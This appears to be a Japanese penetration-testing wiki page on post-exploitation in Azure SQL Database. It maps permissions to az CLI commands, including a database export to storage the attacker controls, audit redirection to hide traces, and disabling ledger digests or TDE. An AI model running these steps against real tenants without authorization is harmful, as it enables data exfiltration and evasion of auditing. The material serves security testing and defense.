# Az - SQL Database Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## SQL Database Post Exploitation

SQL Databaseに関する詳細情報は、以下を確認してください:

{{#ref}}
../az-services/az-sql.md
{{#endref}}

### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`

これらの権限を持つ攻撃者は、侵害された環境内でデータベースを作成および更新できます。このポストエクスプロイト活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
```
この権限（`Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`）を使用すると、削除されたデータベースを復元できます：
```bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

```
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`

これらの権限を持つ攻撃者は、侵害された環境内でelasticPoolsを作成および更新できます。このポストエクスプロイテーション活動により、攻撃者は悪意のあるデータを追加したり、データベースの設定を変更したり、さらなる持続性のためにバックドアを挿入したりすることができ、操作を妨害したり、追加の悪意のある行動を可能にしたりする可能性があります。
```bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
```
### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write`

この権限を持つことで、Azure SQL Serverの監査設定を変更または有効にすることができます。これにより、攻撃者や権限のあるユーザーが監査構成を操作し、痕跡を隠したり、監査ログを自分の管理下にある場所にリダイレクトしたりする可能性があります。これにより、セキュリティ監視が妨げられたり、行動を追跡することができなくなったりする可能性があります。注意: Azure SQL Serverの監査をBlob Storageを使用して有効にするには、監査ログを保存できるストレージアカウントを接続する必要があります。
```bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
```
### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`

この権限を使用すると、Azure SQL Serverの接続ポリシーを変更できます。この機能は、サーバーレベルの接続設定を有効にしたり変更したりするために悪用される可能性があります。
```bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
```
### `Microsoft.Sql/servers/databases/export/action`

この権限を持つことで、Azure SQL Serverからストレージアカウントにデータベースをエクスポートできます。この権限を持つ攻撃者または認可されたユーザーは、データベースから機密データをエクスポートして自分が管理する場所に移すことで、重大なデータ漏洩のリスクを引き起こす可能性があります。これを実行するには、ストレージキーを知っておくことが重要です。
```bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

```
### `Microsoft.Sql/servers/databases/import/action`

この権限を持つことで、Azure SQL Serverにデータベースをインポートできます。この権限を持つ攻撃者または認可されたユーザーは、悪意のあるまたは操作されたデータベースをアップロードする可能性があります。これにより、インポートされたデータベース内に機密データへの制御を得たり、有害なスクリプトやトリガーを埋め込んだりすることができます。さらに、Azure内の自分のサーバーにインポートすることもできます。注意: サーバーは、Azureサービスとリソースがサーバーにアクセスすることを許可する必要があります。
```bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
### `Microsoft.Sql/servers/connectionPolicies/write` && `Microsoft.Sql/servers/connectionPolicies/read`

この権限を持つユーザーは、Azure SQL サーバーの接続ポリシーを変更および取得できます。これらの権限により、クライアントがサーバーに接続する方法を変更できる—リダイレクトやプロキシなどの方法を選択することができ、誤って設定された場合にはセキュリティを弱体化させたり、トラフィックをリダイレクトしたり、機密データを傍受したりすることが悪用される可能性があります。
```bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
```
### `Microsoft.Sql/servers/keys/write` && `Microsoft.Sql/servers/keys/read`

この権限を持つユーザーは、Azure SQL Server に関連付けられた暗号化キーを更新および取得できます。これらのキーは、暗号化を通じて機密データを保護するために使用されることが多いため、それらを操作すると、不正な復号化やキーのローテーション変更を許可することによってデータセキュリティが危険にさらされる可能性があります。
```bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
```
### `Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action`, `Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read`, `Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read`

この権限は、Azure SQL Database の Ledger Digest を無効にすることを許可し、データの整合性を検証するための暗号学的ダイジェストレコードの定期的なアップロードを Azure Blob Storage に停止します。
```bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
```
### `Microsoft.Sql/servers/databases/transparentDataEncryption/write`, `Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read`, `Microsoft.Sql/servers/databases/transparentDataEncryption/read`

この権限は、認可されたユーザーまたは攻撃者がAzure SQLデータベースの透過的データ暗号化（TDE）設定を有効化、無効化、または変更することを許可し、暗号化設定を変更することでデータセキュリティに影響を与える可能性があります。
```bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
```
{{#include ../../../banners/hacktricks-training.md}}
